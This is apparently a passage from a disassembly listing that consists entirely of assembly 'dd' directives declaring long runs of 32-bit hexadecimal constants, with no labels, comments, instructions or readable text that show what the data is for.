		dd 0D58CE7ABh, 0F4D0DE25h, 0D1568028h, 1638270Fh, 0EDDB00CAh
		dd 2770D968h, 6EF85934h, 2B73261Dh, 78DEC8E6h, 506024DEh
		dd 0B0D125EEh, 30A7F512h, 586A5Fh, 97B38893h, 95896665h
		dd 18520053h, 19B08754h, 0A5DBE9A7h, 3EB52AF9h,	0B57DE77Eh
		dd 2F06C9BFh, 31E21788h, 812AF53Ch, 6E55F6ACh, 34012167h
		dd 0A0615949h, 5F7497D9h
		dd 53B65F3Bh, 16F695F0h, 9D0B0804h, 7B8A347Dh, 0E2E6C75Bh
		dd 3555078Dh, 811511C4h, 0BD31C633h, 6041B42Eh,	0AD40889Eh
		dd 2C454CDCh, 1361A330h, 5F1FA961h, 0F14BAEF3h,	0C6F25223h
		dd 89097956h, 0CCB77534h, 84B4D584h, 10A5F981h,	39942D2Eh
		dd 1FFEA8CAh, 43D38052h, 0CF49685Bh, 0CED6D883h, 406EBB06h
		dd 0A0C869A3h, 0C9F115F4h, 3BD05FC6h, 1E34B609h, 0DCE0D428h
		dd 5828D34Ch, 30AA4AA9h, 27059D19h, 14D773BDh, 0BF0CA457h
		dd 588A856Fh, 5A13B05Bh, 518080DBh, 36E4548Ah, 3405C93Ch
		dd 60845864h, 0F06FE7EFh, 0F14A7Dh, 0BEF7F3C1h,	958944EEh
		dd 3E712CF7h, 81790F80h, 0DE18C1D7h, 0E62A614Fh, 0D3A8E02Fh
		dd 0EFA70BE3h, 9550F88Ah, 529A294Bh, 4419D08h, 1C151679h
		dd 20250D4h, 5CAC4CBBh,	706C555Bh, 7F2EED25h, 0F7529F9Fh
		dd 92006BF3h, 909EB5F6h, 93240959h, 0F5794B87h,	8380DE00h
		dd 0A15158h, 5841E9Fh, 73223E50h, 0DB90D839h, 5B71E9C0h
		dd 31429529h, 21705F56h, 0A879E104h, 0C20170BCh, 0F91DD4A7h
		dd 206EBCEDh, 8AEC0D7Ch, 1B96138h, 26E09EC5h, 0F2F0CD84h
		dd 397405D0h, 2CF616ECh, 85C9D8F7h, 0ACF25BF5h,	0E79C2A9h
		dd 0BFC83855h, 9D802466h, 30058915h, 18B15E73h,	0AD2A2F7Dh
		dd 5027B90Dh, 50FC230Bh, 92129877h, 68900087h, 913AFF9Ah
		dd 0A6F6D134h, 6181E704h, 8784AD86h, 2B2AA1AFh,	0E380229Bh
		dd 0D8E835CAh, 0C9D7FE95h, 6ACDA7FEh, 22A57E09h, 769A3A7Fh
		dd 0EE05D4FAh, 0AA22FFD2h, 340003A2h, 79C69D38h, 5BB58A17h
		dd 661D59EEh, 6A650127h, 43D077FCh, 0AC06D43Bh,	562E2FBBh
		dd 2A535AFFh, 1E5EC50h,	8926BFDEh, 3C0D883Dh, 0E100934Eh
		dd 8CAD1167h, 494E12CFh, 3EBFE1BCh, 0AE5A2E6Eh,	184D8042h
		dd 0BE48FC50h, 4E4854Bh, 0AA3315D6h, 1AC828DAh,	0CDC629C0h
		dd 4CBA78C7h, 6004E4A3h, 0B84140A6h, 6FAA97E7h,	854312D5h
		dd 4A477C8h, 21CB5B5Ah,	0A8A2C7h, 27777966h, 0E589D82h
		dd 0DFD6715Bh, 4F7BED93h, 4F58C3F6h, 0B2A9F64Fh, 0C840301Ah
		dd 2F77F109h, 0F088FF41h, 7D218053h, 0C40D2C9h,	59FB8B0Bh
		dd 84AB5461h, 0B31498Dh, 0D0355DF5h, 34E085A4h,	96DDF17h
		dd 7C29FA61h, 0EA163B75h, 9CFB572Dh, 75B53104h,	8980B3EFh
		dd 0F6937452h, 9A52872Fh, 0E14D5582h, 0D6117725h, 0FBF0E334h
		dd 83005C3Ch, 15755694h, 487F819Dh, 9F45020Ah, 80EFC8F3h
		dd 173D259Ah, 290B6CECh, 0D523F185h, 0CD97DF96h, 0CE4400Fh
		dd 1A04B5AAh, 0FABB880Bh, 53FC8CAAh, 0D904BFEEh, 25BD295Fh
		dd 4F2AE7EAh, 0FDD36CECh, 6BBED3D1h, 2BD20758h,	1071777Ch
		dd 5EC6EE48h, 6A555219h, 0E04D4D05h, 0F39FEC10h, 7DA5754Bh
		dd 103D622Eh, 847FBB20h, 3A210F94h, 0CFC73123h,	8F558098h
		dd 0C6706CD8h, 7952FBBDh, 0D98BE0DFh, 19D030Bh,	8B1E5721h
		dd 44FA8B4Ah, 0ABB1E944h, 64B92D17h, 2F0562B8h,	0DC20EE42h
		dd 0F9CDD5BEh, 0B3EB854h, 8D096069h, 3E431FEAh,	475E61E2h
		dd 907E256Fh, 3FB38DFEh, 7FFA0D5Ah, 144157EAh, 2D6123ADh
		dd 0D0B253F8h, 0DC03EE86h, 2BD66547h, 0B5301310h, 0B6D0BE15h
		dd 0B516FA98h, 0B8EC2CCBh, 4DE093FAh, 54BDFACEh, 2561C375h
		dd 75D65090h, 0D531B363h, 26A70AFBh, 0AF5B3D5Ah, 0FC27715Eh
		dd 3804DE2Ah, 9271DF4Bh, 0A437CAAAh, 2F68DDAAh,	0C9D75A86h
		dd 3556250Dh, 0DFFA89EFh, 0FF278864h, 255570D1h, 74C5C458h
		dd 5F38641Ch, 5700296Fh, 0A30D648Bh, 94C98DA0h,	0A0BCDA31h
		dd 0B5FBB7F3h, 3A720D73h, 4005FEABh, 5AA612BFh,	9E8A0A59h
		dd 0E24276DCh, 5544E922h, 0A209D447h, 0A7CD55FAh, 0DE13DBE0h
		dd 26DC719Dh, 603141EDh, 0B345A1B7h, 404A4200h,	16E5B4D4h
		dd 0D298007Dh, 8589BB79h, 5BBD31CDh, 685C7A30h,	0E4FC6EC4h
		dd 5800B3D7h, 84B927C8h, 94EB50A3h, 79A6FB21h, 40A4EBE5h
		dd 0A6C09F60h, 0C1E85E04h, 979D8E05h, 9BAB613Ah, 0A7989652h
		dd 19F124Ah, 0FE649DFh,	2B454A71h, 41EEF5EEh, 2E26ED6Dh
		dd 81DC2B29h, 70F27ADBh, 496EB06Fh, 8C40E609h, 0C151BD31h
		dd 8A9FD6Bh, 9828F71h, 5245595h, 1DAB44B0h, 70E60532h
		dd 0F011E70Fh, 2371E403h, 114AC19Dh, 55CEEC92h,	0C954FD9Ah
		dd 0BA64B705h, 0D3813300h, 5EC63A5Fh, 71AEA94Eh, 12660243h
		dd 0D958965h, 97F4CA9h,	0AF5FD1C8h, 58F61222h, 4C109400h
		dd 3EEE9859h, 68F4B002h, 7C85E961h, 57A546A2h, 50099898h
		dd 5847554Ch, 0BB06D29Eh, 16C36F30h, 0E5970033h, 26786617h
		dd 0B70055ECh, 0B8CA91Bh, 4EA15AAAh, 0D2C6A9D2h, 9D31F8A0h
		dd 0E420C653h, 53037925h, 99FA6D7h, 1CD52E15h, 21909FC6h
		dd 9301BCBFh, 9B6E3DFFh, 622BA084h, 0F4050B4h, 5F803099h
		dd 70955089h, 59BF1266h, 38B8B68Bh, 9723C07Ah, 6A923CD4h
		dd 7766FBBh, 165B5768h,	71FFC724h, 2A03652Ch, 2FF9C49Ch
		dd 0CB80F3B9h, 0C672CF81h, 62312125h, 41DF5896h, 16EDDE2Ch
		dd 0E0FCCDE0h, 5ADA2754h, 3D467D0Bh, 0D86B852h,	1CD22BF9h
		dd 5B17DF3Fh, 3F3E996Eh, 0D2F68905h, 0F384BF17h, 227BBFh
		dd 5499C952h, 12E8BFCDh, 0B23898A2h, 3E0B2472h,	809B0813h
		dd 0E1C01BC8h, 0B3F9A28h, 20F059F4h, 760E20C4h,	24AD38E4h
		dd 13C16090h, 0AB0529DDh, 85C12337h, 61020A31h,	51F0D377h
		dd 0CCA5581Bh, 2278A200h, 9DEE71Dh, 40F69789h, 99B2F992h
		dd 53F31CB4h, 806DDE24h, 3EAF7771h, 0BB660987h,	9C59CDDDh
		dd 28B7334Eh, 6EECD1B0h, 0CAC2F44Eh, 2574E11h, 0FB0EB80h
		dd 9B56FBBFh, 49C0CDEBh, 0BF01C9F8h, 7588772Fh,	0A829E1FFh
		dd 205098B8h, 2941F1AFh, 300DC1CEh, 896AA33Ah, 7FEFF77Ch
		dd 10CB5C41h, 8975FC3Bh, 468759F5h, 0BB46565h, 0E2BD3363h
		dd 718D561Ch, 0CBA73F16h, 2E388FB0h, 0B520C49Ah, 6E605A21h
		dd 3C7B006Eh, 5C44DDCh,	2E860B90h, 5A026096h, 17761A99h
		dd 6FD7D2A7h, 24137661h, 94F1FEB4h, 41038D33h, 545263DEh
		dd 0E72844E0h, 85E0A34Eh, 0C1554A9Eh, 0FAB2BFD6h, 0D25429E2h
		dd 6E4F6591h, 725A1206h, 0A95E6EA7h, 50FAC13Dh,	93285BF9h
		dd 5300D922h, 0E6B0E381h, 965F2B71h, 0D500F4A7h, 91C95AC2h
		dd 0F1A203E9h, 2F619443h, 0A5E5F583h, 30EF6013h, 50ABB48Bh
		dd 95B95203h, 0FA6A0A70h, 867931h, 0B7BAEE4h, 9300204Bh
		dd 0DBECCC03h, 573609Ah, 5AB8E316h, 0AFD01358h,	0DCFF7C95h
		dd 78B8B22h, 2D47BF18h,	30DF39AAh, 9E3E6h, 0B87B8586h
		dd 0AC6FBDFCh, 0F37539EEh, 0BB47020Bh, 2317981Bh, 1C52005Bh
		dd 0FE81BAB1h, 6BDB5F2Fh, 44F09BE2h, 12186Ch, 7D6B0A97h
		dd 0F18FE45Bh, 21A37ED3h, 212C969h, 0EA020566h,	0CB20936Fh
		dd 0C9C157B4h, 94B92ADEh, 0AB20E184h, 63BEC175h, 48AB50Fh
		dd 1F3E901h, 89EC9E7Bh,	6CD2074Ah, 0F92B8F0h, 4A51978Bh
		dd 742E66A5h, 16E52D09h, 0B4DEC556h, 0A4D1C0E0h, 0F099EFAh
		dd 77B4545Ah, 0BF4B71ECh, 0D2D690A8h, 73777BBCh, 2BE8D3E1h
		dd 0E004F81Eh, 49858BB0h, 0EEAABB40h, 894E6346h, 252961Fh
		dd 0BED7B1F2h, 6780969Ah, 0CB58AD25h, 0AEE30C09h, 95537078h
		dd 8938A237h, 7022E780h, 40CBB440h, 21EE450Ah, 0B2ACC2Ah
		dd 3F90DEBDh, 645F7B9Ch, 69BB0153h, 2A5D1FEBh, 0F85B4EA3h
		dd 2FC94A83h, 5FE46E2Fh, 710B10A9h, 62C45DBCh, 0A5DBAD07h
		dd 61202A4Bh, 0C56CA8h
		dd 0B5266842h, 53512DB3h, 0FEAD5F4Ah, 0ACB6D90Fh, 894BC574h
		dd 2BE03134h, 1888499Ah, 0BF7D27C0h, 903B2DCFh,	0BB82907Fh
		dd 5BA51673h, 0A75FE746h, 5DB842F0h, 9BA94EEEh,	0C018881Dh
		dd 0DD3C8A49h, 14C45B4Eh, 913650F5h, 396540F0h,	1B34131Ch
		dd 75E06380h, 0A8E18D89h, 25BD23B0h, 27C731D5h,	59E6B389h
		dd 0DDB24E2Ch, 5FF03BBCh, 0C9E23D1Eh, 0A8AD7C1Fh, 0DA8B2545h
		dd 0DAAEB555h, 9FC7325Ch, 4EA920BFh, 9E55903h, 2BB34CB9h
		dd 27C076EDh, 97CFE126h, 75433014h, 801D9A5Bh, 3878B837h
		dd 2BDF0461h, 0BC0235BDh, 141E312h, 0BAC78169h,	203A96CCh
		dd 359C0DCAh, 5408F927h, 6A5D5C1Fh, 0DE8AFE46h,	96D255Ch
		dd 0E2B542CEh, 0C1BC5461h, 2E51CFBBh, 80DA3874h, 983908C0h
		dd 9D2FB3CEh, 346D845Fh, 445D9609h, 0CD564F9Fh,	7CC16126h
		dd 0E0EA8004h, 771DB2h,	1463486Bh, 66AA1FA4h, 0EAEC964Bh
		dd 0AA713916h, 9288162Ah, 0E0C4D704h, 0A41CF6BFh, 0A301DCBFh
		dd 0AC36942Bh, 0B2090913h, 58ECFE01h, 5BBD19D5h, 0F15B7A33h
		dd 13F8D125h, 0A01AAEC4h, 3002F55Bh, 3A890FF9h,	61062455h
		dd 0F037B7AEh, 2A149DDh, 789ECDA7h, 405C902Eh, 0EF12AA20h
		dd 1DE12569h, 8EB8EF79h, 9D1789FEh, 0D9FD34CDh,	81166CD4h
		dd 0B409A824h, 0E5C00C9Ah, 0B7842759h, 0F6427D6Bh, 2957E99Eh
		dd 0D6D65446h, 14171D46h, 0E774BF22h, 0FD4B971Fh, 2E04FDB0h
		dd 70EBBF9h, 255968B8h,	0A341DF56h, 1480BB9Bh, 0B245665Ah
		dd 0E0071170h, 10998D13h, 4A2916F7h, 2FD6295h, 0FF0BF9FAh
		dd 874ECC94h, 36FD5E53h, 28C19B8h, 5C380D63h, 0FA7CD4BFh
		dd 884F0510h, 18012380h, 80E1D156h, 282E44ACh, 7B952A26h
		dd 2BD9EDh, 271E85DFh, 604A5150h, 0AD24E956h, 271446DCh
		dd 13C7F457h, 0AB09FBE0h, 791E7302h, 5AF1819h, 773258CEh
		dd 598AF8B6h, 0DDB3691Ah, 2A896BBDh, 5927735Fh,	0A261818h
		dd 4C1BEC0Ch, 794389B0h, 0AF296D55h, 0AA12AB35h, 5556F553h
		dd 4E5C6BAAh, 631ED060h, 0E664B712h, 670C0F05h,	7D8197A6h
		dd 5DC2C6FEh, 0BD70B57Bh, 0C2881F6Ch, 3C3982CFh, 71FD1B9Ah
		dd 9148F26Ch, 5BB51D4Dh, 4C18DA9Dh, 0BB003D3Ah,	4284AD59h
		dd 586ECCA5h, 1127330Bh, 0AFFB77A5h, 0E95B85C0h, 840B9722h
		dd 0A770B1FBh, 596202F7h, 8D0FF326h, 0FEBD4C5Ah, 6DBC011h
		dd 0C1598BE4h, 25EFBC03h, 114C60E3h, 1641BD77h,	40D96F30h
		dd 0E5B86130h, 7B414094h, 0D5C615C1h, 43B6C06Eh, 0FB97D4h
		dd 5790E004h, 60BD20EBh, 13000426h, 0CAFFEA51h,	5C66C989h
		dd 0D513A94Ah, 2FEEBC87h, 27257490h, 0F3A31B54h, 0E27FD0h
		dd 0D4D36B60h, 2D8A9059h, 0FB4A6A90h, 645A27ABh, 0CB44FC81h
		dd 29F41A99h, 40B8D65Dh, 9C162273h, 4E538418h, 50D1E3BAh
		dd 2CF69E5Fh, 8985170Ah, 0F771125Dh, 2FAD6427h,	827F5F04h
		dd 5D50B34Fh, 0A99E6166h, 70A2F32Fh, 704EB4A1h,	0BBEF20BFh
		dd 822F29C1h, 0F4B5F65Eh, 0B6526502h, 0D5B2C1CEh, 0D3199B10h
		dd 34F8C219h, 35388970h, 405E5B2Fh, 823B5FC1h, 259BDEE0h
		dd 33E6BC14h, 0E34A9095h, 0A39D002Fh, 0D9B45870h, 33025B62h
		dd 22ECE5CAh, 0AC65D509h, 0BD48E50h, 88B24DAAh,	0D7B330FDh
		dd 0FC3F040Ah, 0DBD1FF14h, 0FCBAC0A0h, 2DBD33A7h, 0BF56218Dh
		dd 212A6571h, 2F2131B0h, 3EED30FDh, 8184F485h, 0AE7E64EAh
		dd 2F615D8Ch, 89DF37B7h, 0DC895E07h, 630A1F05h,	0E7D8ADDEh
		dd 0ABE30980h, 5E7931E9h, 170B04CEh, 0E0E2B6FFh, 2B3F12Ch
		dd 0D88B254Eh, 6C75B6B7h, 0C1810119h, 0E08C03Fh, 96FC7E61h
		dd 12ECB5C0h, 0C73E5F8Fh, 0CC59003Ch, 0E3BEBC2h, 0B59827A6h
		dd 5A8DBD71h, 0CFC0C3E8h, 7F450025h, 4153AD2Eh,	7A7BC42Ch
		dd 0F18CC09h, 8325F8Fh,	4582A90Bh, 2D5EC7D0h, 3D9D31C1h
		dd 0D657E37Ah, 38A0C3E6h, 6EC2058Fh, 5E3F23D7h,	7D7C2525h
		dd 0B66100F6h, 17DDA053h, 0C12450CEh, 0CA63C7DCh, 0CD2E8BDh
		dd 9C4E00F8h, 61EADB1Ch, 280B4219h, 4DFF6A65h, 1157C77Fh
		dd 70BBA910h, 162429D7h, 0BDF41312h, 0CC258DD9h, 1262093h
		dd 495E897Bh, 0EF2952EFh, 24048F08h, 211FEh, 70E6F88Bh
		dd 5FE4BDB3h, 0D5DB0B71h, 0A9D9AE93h, 0B4EE0534h, 6E97F4CCh
		dd 0E6F69F58h, 782C1309h, 0BCC5A3A1h, 80EAAC57h, 0AE4D6EB7h
		dd 0E0CEEB42h, 9504D138h, 0F55C67CEh, 3FBF0201h, 5D2BB1DDh
		dd 21772672h, 0D7C91496h, 82257664h, 0D8BFE374h, 56C82Bh
		dd 47B8E781h, 8B5B7821h, 0E305D15Fh, 0B0BC92E9h, 0EF350586h
		dd 4E49851Ch, 8304412h,	5E5161Dh, 0B194D460h, 0E4623282h
		dd 0DD9C90D5h, 89B78632h, 9753C46Fh, 5B2582EDh,	43E98C78h
		dd 58B7090Bh, 0C33A9729h, 0CA07BA61h, 1A25C15Eh, 9239D587h
		dd 0CC694495h, 47007EE5h, 0A3F05227h, 1A382C95h, 2E110AA5h
		dd 0B5FDF8FDh, 6DC112F4h, 0DB3E168Ah, 2290C0F9h, 50DFB645h
		dd 697195B2h, 3EF0D50Bh, 2E670497h, 0E240F6EFh,	204EC17h
		dd 3996ABA6h, 0F07D9D03h, 19B925E2h, 88E3DFE8h,	16829F11h
		dd 0BC65B95Ah, 0F9600B69h, 0A3D78533h, 0F5B361F1h, 0A67B94EBh
		dd 731CE0A1h, 6BEB2892h, 220D2095h, 1FB1F983h, 0C87F2FBAh
		dd 0DACEC105h, 0F4F3AA7Ch, 9C56FA2Dh, 0C06F9EFEh, 4003671Fh
		dd 0D9497696h, 732F28C7h, 391400B4h, 85A922CCh,	0A1273BD4h
		dd 381B02E1h, 0D8465FB3h, 0A67014C0h, 9601575h,	4D9501FCh
		dd 0E86152A4h, 67C29328h, 0BCB70221h, 0F5925BD1h, 1DAC7CB9h
		dd 0E91F008Ch, 8A668991h, 212677A3h, 0D81229BBh, 57B2E7F2h
		dd 5B75D542h, 907DAF90h, 0B05B5F72h, 3EE100F2h,	663853F8h
		dd 5604D1B9h, 698D0161h, 0FA4FA2B8h, 0DA2EFA6Dh, 0FE098137h
		dd 3420A9E7h, 17C95AE9h, 0A0A3A792h, 417E15Eh, 0F5D794C2h
		dd 11B2BFADh, 5704CC4Bh, 0DFAF5FB9h, 3046A101h,	1C2B28BAh
		dd 3B83F5FEh, 10833E13h, 5E07D546h, 305F16B9h, 0C157DEB7h
		dd 0C4DC992Fh, 84B90743h, 46431Eh, 8D0FC708h, 1FA2DD00h
		dd 0E7669CD8h, 62C595C1h, 0FADE4BBCh, 89D708C0h, 17C00BE9h
		dd 1101993Ch, 0A64C0227h, 187A0FBEh, 9D510374h,	0E8E3FD3Bh
		dd 0D35502F0h, 3BA8A69Eh, 0B0003EC6h, 85249BCEh, 4EC2261h
		dd 15F3BFD1h, 0BCFD84EBh, 955AA62Dh, 54D0EF5Bh,	0B7D900A3h
		dd 64D857EFh, 800B0478h, 0ED6010F3h, 0D221C113h, 0E87BD428h
		dd 1D52AE48h, 149152C2h, 0ED26EB00h, 4BBAC3F3h,	0FE1CD100h
		dd 1B8BEC9Ch, 665000DDh, 0F8FD053h, 2E9DDBBFh, 3F69C138h
		dd 123A7E07h, 80129B29h, 0D2A429F2h, 8D890BEDh,	99550675h
		dd 601210E3h, 3A610861h, 35BD3161h, 10EEF5D2h, 99E8894Eh
		dd 997F9089h, 88100C76h, 0FCB543E7h, 6A110145h,	7FEF32E0h
		dd 0C4AE93C4h, 0C46BDBA1h, 0A3C74F0Fh, 0B6AA1C74h, 0E9B06497h
		dd 683CBDA2h, 7EA79F1Ch, 5158FEA5h, 77644216h, 0BD134312h
		dd 0BBDE9CBFh, 0FB275F7Dh, 40BF7E16h, 0C5CDACD7h, 46C75907h
		dd 845B949Ch, 0F84B0188h, 76C91AD7h, 72FEDEC7h,	0A0136502h
		dd 5734BE9Dh, 42005262h, 9F02D71Bh, 5F53492Dh, 1FEF4F8Fh
		dd 0E8ABFD56h, 0A4E01FECh, 1089901Bh, 0AF4A2B3Dh, 58BF43CCh
		dd 851217FAh, 0BFDEAA77h, 0CBF1B297h, 0DA15D7F8h, 7B05F140h
		dd 7570BD38h, 0A1BBB0C4h, 0B85120BBh, 0D20EC775h, 0A0A6979Eh
		dd 0A4CDA58Dh, 0B492F7F6h, 0E3E1AA9Dh, 6AA5A53Ah, 40DF34DEh
		dd 960A9845h, 0E76BF23Ah
		dd 0AF19F660h, 49D6035Ch, 0BE97E61Ah, 2F01198Ch, 0ED2D185h
		dd 780D739Dh, 3B26A480h, 0BD060151h, 0ECAD0441h, 27154169h
		dd 56BF070Bh, 250F216Ch, 32F90446h, 170090B8h, 9EC6A86Bh
		dd 0B781F523h, 254107F0h, 0DFE2C13Eh, 4B966AA5h, 6D331610h
		dd 0AA06BC61h, 0AAA30F00h, 0A0637402h, 96804D4Fh, 0EE798568h
		dd 3776B725h, 8DF7BF60h, 5C4B4CFFh, 27C38A1Fh, 0C47A4441h
		dd 0C3972552h, 0FA4627F8h, 0F5174246h, 0BE178A90h, 51196FFAh
		dd 1FFA8995h, 2CB5551Bh, 0E48F1591h, 81565704h,	331B14Ah
		dd 0F4618A5Bh, 0F92200EAh, 0DA5FE3BBh, 6C8F6BE1h, 0F22F5510h
		dd 0F6795459h, 53E9E417h, 22C2BCDEh, 45FF8E0Fh,	472D00B9h
		dd 49A384ECh, 0A23BBF00h, 5F91671Dh, 3071669h, 89CEBEA0h
		dd 0D9E4DEB8h, 2BFD5EB2h, 29222FCEh, 0E5BC505Eh, 67DE19A2h
		dd 9E03DD42h, 430860E4h, 1F8EDF81h, 7770E62Dh, 3BB12FB9h
		dd 21C2C2DEh, 2671B4EDh, 0F7AC3C0Bh, 518A60B1h,	14F1855Eh
		dd 921FE3FFh, 0B50F0DB0h, 0DAF48C46h, 0FEECFC9Fh, 0A762D1BFh
		dd 0A2006444h, 0E188A170h, 12A5BC99h, 0F3DC8A86h, 806F5CBBh
		dd 2F427687h, 94BA0322h, 0BC9BC6CFh, 6792FCC2h,	102E1823h
		dd 0BF4678C0h, 0C9A41E07h, 5DF2268Bh, 269557F5h, 0CC725549h
		dd 9C809299h, 53331288h, 1F6768Fh, 0E2820ABCh, 7E3D5F85h
		dd 822ED4F0h, 0C4865160h, 69E7EFBDh, 0F56B195Dh, 0B287A63Eh
		dd 178BCC14h, 24880F3Dh, 8094A895h, 0A8B6B44Fh,	0E580976Bh
		dd 283ABF52h, 54617E31h, 192B2050h, 6BDA0624h, 18C8EC9Ah
		dd 22DF66C0h, 0DE0FB74Ah, 0EA7B0949h, 22BB3197h, 0B7776A08h
		dd 71E8510h, 71CAABBEh,	0C47B3EA1h, 569DFC86h, 7000FE85h
		dd 17BF0FF1h, 4A29035Dh, 80CBAC96h, 7D07B3F8h, 0E77301DFh
		dd 321EA544h, 0CBB56F0Dh, 0B458F97Fh, 0F8BDC2BBh, 0D077FB5Dh
		dd 8215C4F4h, 909BB34Ch, 0A2912D3h, 60C913BDh, 85C13FFCh
		dd 61001345h, 354BCF80h, 7938F8CAh, 0A57FF75Eh,	2013E1BEh
		dd 1A448FDBh, 47B72560h, 92409476h, 35FDA43h, 6E2F1E38h
		dd 0C83D3435h, 0B80312EBh, 6E97B6BCh, 0E2E01A6h, 0EF83A523h
		dd 0C3455FDEh, 3F25A9E8h, 8FA2007Eh, 1D756E6Fh,	0E0265025h
		dd 0BDD8AF29h, 505E4B32h, 89C78160h, 212E291Ah,	0E7902D41h
		dd 58055681h, 0C1B440EAh, 1D6908EFh, 6BAE5B17h,	5ED84A83h
		dd 0FC1B017Ch, 338CB136h, 6699E8A5h, 32BABB00h,	9652C381h
		dd 8A0D4EA3h, 0A242222Fh, 684ADD2Ch, 0E0751CD7h, 0BE52057Dh
		dd 0FFC64903h, 3971B77Ah, 0E7543B0h, 0A0EEC2E1h, 9E556649h
		dd 9D78BF7Bh, 0C146029Ch, 0CEE927A5h, 6F24E954h, 0C1231C99h
		dd 4C6AFF2Ah, 0E0A1604Eh, 990B7960h, 649E02A4h,	0ED17BCBh
		dd 82384378h, 0EDA22B40h, 540108F7h, 0B9F04862h, 6F702521h
		dd 90B3C911h, 1CB348E8h, 852AE295h, 77A22BA4h, 39DCAA4Ah
		dd 619F19B3h, 12B9DA90h, 0DBD35D6Ah, 4B32A770h,	4F39B87Ch
		dd 0A95B4AB9h, 5B71BC29h, 1562AB64h, 8648D766h,	174E1BA8h
		dd 0B57844BCh, 53C9C1F6h, 0C427503Eh, 0A37C9700h, 778E1C41h
		dd 8AA9A922h, 0A831B070h, 7044BBA9h, 791F7FF2h,	24EF9FB7h
		dd 4CA5C240h, 0F533005Ch, 59F78111h, 2748848Dh,	146110D9h
		dd 0E74AD14Dh, 0BDA8A0A5h, 0F7BB0463h, 0AFDBD780h, 0FCA9A874h
		dd 7A0511A8h, 0F7DB808Ah, 783A618Ch, 459E68Fh, 0E3B3940Eh
		dd 0AC90BDC7h, 0CF008C18h, 5849C28Ah, 0F21CF381h, 0E8084EB3h
		dd 4DD12DB1h, 0F44ACB14h, 9151865Ch, 0AA85FA15h, 0B7026022h
		dd 0EBD6A7F0h, 5915D5CAh, 0B53116BCh, 502FFDA9h, 72F68556h
		dd 6C5017D1h, 61B0040Dh, 39BB000Eh, 9F4D9EB7h, 5DA53779h
		dd 91001F14h, 437AD038h, 4C2AA182h, 1D100439h, 8F5F2E21h
		dd 0D5B509C1h, 0F2E91B89h, 49FB9C55h, 0ED5BCCB2h, 1266ECA8h
		dd 0A6105CBFh, 56D7F071h, 134E97E6h, 96115ADh, 0F8FD6D68h
		dd 2EBB0431h, 0BAE8315Dh, 9F420602h, 0D518B489h, 5265D41h
		dd 11D204FBh, 97D8BCAEh, 0BAA55CB7h, 245823E0h,	25738807h
		dd 8C041014h, 0FC11B410h, 11ADF6FFh, 0CD4A9585h, 0ED352E9Ch
		dd 2A956404h, 31B66A0Fh, 0F0AFC32Eh, 76043887h,	0ED5926Dh
		dd 51C05EEh, 7CF7EB21h,	941399A0h, 12FAA65Ah, 78ADE6EEh
		dd 0B0F92FC4h, 0F71757FCh, 0D7460EBEh, 0CC1A920h, 0FC1270E6h
		dd 700471E4h, 32BA3159h, 229D335h, 20038DBCh, 36BFC8B6h
		dd 7653500Fh, 0A14F51BAh, 848715ACh, 2D83B802h,	42185E09h
		dd 0DAD7E780h, 2BDA13F1h, 0A52A67C8h, 32B01BD1h, 0B792C522h
		dd 725C8FE2h, 0A4B94D40h, 0C910022h, 9F163741h,	310B677Dh
		dd 8B156BA2h, 2D88569Fh, 0E521005Eh, 0B37EC025h, 0EB8103A1h
		dd 457A696Dh, 0F6B51670h, 4FD4C9E6h, 4D8B0A19h,	0B4E98115h
		dd 6F342FCEh, 4D109284h, 6112C0FCh, 775C5B1h, 21276C42h
		dd 94D539CBh, 7BB045Bh,	0BD427315h, 0BCF58A86h,	6FE6322h
		dd 2F8D2988h, 5C216Dh, 82998650h, 19C15982h, 542F0B79h
		dd 0B9FCC1B5h, 31B5829Bh, 5327118Dh, 436C1C35h,	8773FFA9h
		dd 80FCB407h, 0DB4B93CBh, 61E87323h, 77257293h,	0D737E276h
		dd 859DD430h, 0D2F91B41h, 9626E2Bh, 7952F287h, 0E556EB0Ch
		dd 14503747h, 2D06B20Bh, 0D158340Ah, 0CC88D94Bh, 552909BBh
		dd 47E66B96h, 0C6DA8A25h, 0A5090CAh, 5433F823h,	810510E9h
		dd 406F5C72h, 0ED30B27Ah, 1980986Dh, 5E288535h,	0C5C9F60Ah
		dd 0DECC1Dh, 0DE08B43h,	0B70FC167h, 0D58AF94Bh,	0CBD65225h
		dd 0B7FC04FCh, 20E8F8B8h, 3953C812h, 5081E6F2h,	39BF575Ch
		dd 50EC3E95h, 81E7C84Ah, 59CCB04h, 0D8AA100Fh, 885ABBE1h
		dd 231264A8h, 0C353BEBDh, 0BA6428FFh, 0FB9D0470h, 0CFE57863h
		dd 0AF95293Dh, 0C3585C2Eh, 0F2DBC894h, 0FC57B398h, 3AF5D200h
		dd 89DCD85Fh, 644125DBh, 0FC2F98C5h, 35742D47h,	0B2481CDEh
		dd 0C404B8B5h, 0B821190Eh, 2A27A286h, 1BE119AAh, 72DB6F60h
		dd 0E8F3A482h, 2A383CE1h, 0A84A29A3h, 63C400C9h, 4C4F9870h
		dd 1FC8124Eh, 0BFEB65AEh, 975F2ACCh, 0F7736209h, 315A5070h
		dd 9D8AB43Fh, 80172EA9h, 5857B9Bh, 808CAC77h, 0B59FDEC5h
		dd 2045B0FDh, 5F4B2F61h, 1418891h, 0DEC6D6C2h, 223AE605h
		dd 0A4173557h, 7CEA4090h, 53B30084h, 0FC76B90Fh, 6207CDC3h
		dd 48BF2087h, 264F004Bh, 4A011CE8h, 0A7B7955Fh,	7E58A0F2h
		dd 322F17D2h, 2B540931h, 0F0A7E273h, 501540FFh,	56DABF05h
		dd 0EED43A0Eh, 0B9E3ADABh, 0C16006Eh, 0DFA61F50h, 0E12593B8h
		dd 0D46F5F16h, 0FD8ADA60h, 58420E68h, 0FA298B5Eh, 0BD09E770h
		dd 3774C0ABh, 0E1D880AFh, 0B29ABD49h, 6CC2FF14h, 4FD128Bh
		dd 186B0BF7h, 0A7514DC9h, 4285DD0Eh, 0DB6BAE5Fh, 9F001423h
		dd 0F36418BFh, 7BE92D2Bh, 852FE57Ah, 0B80EBB77h, 0E36502h
		dd 7389C4D1h, 2452D369h, 0A58C924Bh, 2DE30581h,	0AE7AD2E8h
		dd 0BA36C13Dh, 2EC420F0h, 7C8F0F2Eh, 8DFA6045h,	61E9243Fh
		dd 12BA894Eh, 0AC92B984h, 324B8C14h, 96B63585h,	9ED717E0h
		dd 994A8F98h, 10D4D817h, 53E02DA6h, 0E3092C66h,	2FDEC8Eh
		dd 75B5FF46h, 6AC5866Fh, 7FC620BEh, 37071A09h, 7ED77729h
		dd 751EAF22h, 5B12F9F9h, 2CA5EB04h, 0E0DE6807h,	8CB7BF9Bh
